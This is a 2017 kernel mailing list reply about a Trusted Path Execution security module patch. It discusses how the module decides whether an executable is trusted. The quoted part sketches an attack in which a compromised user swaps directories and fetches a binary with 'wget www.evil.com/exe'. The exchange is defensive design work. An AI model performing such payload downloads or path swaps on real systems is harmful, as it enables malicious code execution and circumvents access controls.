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Message-ID: <20170608202331.285c4a8b@lxorguk.ukuu.org.uk> Date: Thu, 8 Jun 2017 20:23:31 +0100 From: Alan Cox <gnomes@...rguk.ukuu.org.uk> To: Matt Brown <matt@...tt.com> Cc: james.l.morris@...cle.com, serge@...lyn.com, linux-kernel@...r.kernel.org, linux-security-module@...r.kernel.org, kernel-hardening@...ts.openwall.com Subject: Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM > So actually in this LSM it's not so much full paths that are trusted, > rather it checks that the directory containing the program is only > writable by root and that the program itself is only writable by root. > > For example, consider the following: > > /user/ with permissions drwxr-xr-x user user > /user/user-owned/ with permissions drwxr-xr-x user user > /user/user-owned/root-owned/ with permissions drwxr-xr-x root root > /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root > > currently /user/user-owned/root-owned/exe is trusted because it can only > be written to by root, and the directory it is in can only be written by > root. > > but then user becomes compromised and does the following: > cd /user/ > mv user-owned user-owned-back > mkdir -p user-owned/root-owned > cd user-owned/root-owned > wget www.evil.com/exe > > Now /user/user-owned/root-owned/exe is untrusted and its execution will > be denied unless you put user in the trusted group. I can cause a lot of mischief just by renaming commands (mv cp rm does't work on must implementations) but yes the root directory check itself should avoid that you are correct.
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